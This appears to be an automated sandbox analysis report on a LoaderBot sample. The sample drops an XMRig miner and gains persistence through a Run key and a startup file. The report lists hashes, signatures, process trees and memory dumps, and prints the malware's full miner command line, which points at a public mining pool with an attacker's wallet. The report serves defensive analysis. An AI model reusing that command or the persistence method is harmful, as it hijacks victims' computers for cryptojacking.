Overview

overview

10

Static

static

10

202ad65f39...2f.exe

windows7-x64

10

202ad65f39...2f.exe

windows10-2004-x64

10

2722079047...42.exe

windows7-x64

8

2722079047...42.exe

windows10-2004-x64

8

61b08c9b1c...29.exe

windows7-x64

10

61b08c9b1c...29.exe

windows10-2004-x64

10

a89d4dfabf...a9.exe

windows7-x64

10

a89d4dfabf...a9.exe

windows10-2004-x64

10

bb1e9db6d9...76.exe

windows7-x64

10

bb1e9db6d9...76.exe

windows10-2004-x64

10

e9fca3db7f...67.exe

windows7-x64

10

e9fca3db7f...67.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2022 13:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e9fca3db7f9c56f58cc1e28118c9897aa3cd0d2e052c62b3aed472bede51e467.exe

  • Size

    4.0MB

  • MD5

    c582001fd00152425fd1a4b9b0d7cf07

  • SHA1

    f747b7074505e37b589b72e652778c59077c1151

  • SHA256

    e9fca3db7f9c56f58cc1e28118c9897aa3cd0d2e052c62b3aed472bede51e467

  • SHA512

    72e6993227acc1b5f4841bfe04030ec70d061ce3ac1512b93e05f9900445253f0ca71917469616210881c61f711aaae1f58eedbef8903e1627fc720f8283bcce

  • SSDEEP

    49152:EjNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:ERzP88fBsnZTgOtqB3m1RC3

Score
10/10
loaderbotxmrigloaderminerpersistence

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

    loaderminerloaderbot
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 4 IoCs
    miner
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e9fca3db7f9c56f58cc1e28118c9897aa3cd0d2e052c62b3aed472bede51e467.exe
    "C:\Users\Admin\AppData\Local\Temp\e9fca3db7f9c56f58cc1e28118c9897aa3cd0d2e052c62b3aed472bede51e467.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 84pG1E7UKYvgbggJxjsMMQMKXFPdLCWknN17Fd2todfvLfRAC7psryqVBihgQfGHEidGgoh4G24xn8WeabSAzPYjS3h8zGH -p x -k -v=0 --donate-level=1 -t 1
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1796
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1796 -s 760
        3⤵
        • Program crash
        PID:704
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 84pG1E7UKYvgbggJxjsMMQMKXFPdLCWknN17Fd2todfvLfRAC7psryqVBihgQfGHEidGgoh4G24xn8WeabSAzPYjS3h8zGH -p x -k -v=0 --donate-level=1 -t 1
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1232
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 444 -p 1796 -ip 1796
    1⤵
      PID:1996

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      Download Submit

    • memory/1232-147-0x00000000020B0000-0x00000000020D0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1232-146-0x00000000020B0000-0x00000000020D0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1232-145-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

      Download

    • memory/1232-144-0x00000000005D0000-0x00000000005F0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1232-143-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

      Download

    • memory/1796-139-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

      Download

    • memory/1796-138-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

      Download

    • memory/1796-137-0x00000000001D0000-0x00000000001E4000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4768-132-0x0000000000700000-0x0000000000AFE000-memory.dmp

      Filesize

      4.0MB

      Download

    • memory/4768-133-0x0000000005740000-0x00000000057A6000-memory.dmp

      Filesize

      408KB

      Download